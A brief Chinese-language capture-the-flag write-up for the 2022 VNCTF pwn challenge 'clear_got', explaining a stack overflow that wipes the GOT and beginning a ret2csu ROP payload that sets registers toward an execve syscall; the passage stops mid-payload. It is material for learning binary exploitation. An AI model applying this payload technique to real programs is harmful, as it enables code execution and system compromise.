2022 vnctf pwn clear_got

got表能覆写
没有canary pie

程序的逻辑很简单
一个栈溢出之后将got表全部清空。

给了两个系统调用。

那么我们的解题思路。

首先利用ret2csu来控制寄存器

payload = "a"*0x68
payload += p64(0x4007ea) 
payload += p64(0xc01c8) #rbx
payload += p64(0xc01c9) #rbp
payload += p64(0) #r12
payload += p64(59) #rdx
payload += p64(0x601060) #rsi
payload += p64(0) #rdi